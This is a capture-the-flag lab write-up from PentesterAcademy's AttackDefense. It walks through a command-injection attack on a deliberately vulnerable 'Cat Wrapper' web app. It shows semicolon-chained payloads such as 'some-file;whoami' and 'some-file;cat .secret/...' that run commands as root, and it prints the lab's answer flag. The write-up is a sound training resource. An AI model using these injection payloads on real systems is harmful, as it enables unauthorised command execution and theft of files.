

ATTACK

DEFENSE

by PentesterAcademy

Name	Command Injection I
URL	https://attackdefense.com/challengedetails?cid=1924
Type	REST: API Security

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Check the IP address of the machine.

Command: ifconfig

```
root@attackdefense:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.1.4 netmask 255.255.255.0 broadcast 10.1.1.255
    ether 02:42:0a:01:01:04 txqueuelen 0 (Ethernet)
    RX packets 13403 bytes 1209861 (1.1 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 12476 bytes 17305686 (16.5 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.248.164.2 netmask 255.255.255.0 broadcast 192.248.164.255
    ether 02:42:c0:f8:a4:02 txqueuelen 0 (Ethernet)
    RX packets 410 bytes 414496 (404.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 402 bytes 43530 (42.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 40807 bytes 29508976 (28.1 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 40807 bytes 29508976 (28.1 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@attackdefense:~#
```

The IP address of the machine is 192.248.164.2.

Therefore, the Cat Wrapper WebApp is running on 192.248.164.3, at port 5000.

Step 2: Interacting with the Cat Wrapper WebApp.

Open the following URL in firefox.

URL: http://192.248.164.3:5000



Simple Cat Wrapper App

Enter some filename to read its contents.

Simple Cat Wrapper App

Error: Error reading the file.

The above entered file name doesn't correspond to any existing file on the system and the response indicates that there was some error reading that file, most probably because it didn't exist on the server.

As mentioned in the challenge description that the user input is not sanitized and is passed directly to the system function.

This issue might lead to command injection vulnerability.

Step 3: Executing arbitrary commands on the server and retrieving the Golden Ticket.

Payload: some-file;whoami

Simple Cat Wrapper App

Get Contents

some-file;whoami

root

Command Injection was successful as the supplied command got executed on the server.

Listing the files in the current directory.

Payload: some-file;ls -al

Simple Cat Wrapper App

some-file;ls -al

```
total 60
drwx----- 1 root root 4096 Dec 12 16:18 .
drwxr-xr-x 1 root root 4096 Dec 12 16:18 ..
-rw-r--r-- 1 root root 3106 Apr  9 2018 .bashrc
drwx----- 3 root root 4096 Dec  4 16:40 .cache
drwxr-xr-x 732 root root 24576 Dec  4 16:42 .npm
-rw-r--r-- 1 root root  148 Aug 17 2015 .profile
drwxr-xr-x  2 root root 4096 Dec 12 16:17 .secret
drwxr-xr-x  1 root root 4096 Dec 12 16:16 simple-cat-wrapper
```

Check the contents of ".secret" directory:

Payload: some-file;ls -al .secret

Simple Cat Wrapper App

some-file;ls -al .secret

```
total 16
drwxr-xr-x 2 root root 4096 Dec 12 16:17 .
drwx----- 1 root root 4096 Dec 12 16:18 ..
-rw-r--r-- 1 root root  33 Dec 12 16:17 This_Is_The_Golden_Ticket_d48d360f3090
```

Retrieving the Golden Ticket:

Payload: some-file;cat .secret/This_Is_The_Golden_Ticket_d48d360f3090

Simple Cat Wrapper App

some-file;cat .secret/This_Is_1

some-file;cat .secret/This_Is_The_Golden_Ticket_d48d360f3090

21f8a4891bfc15dc3823d64f5d876447

Golden Ticket: 21f8a4891bfc15dc3823d64f5d876447

References:

1. OWASP API Security (https://www.owasp.org/index.php/OWASP_API_Security_Project)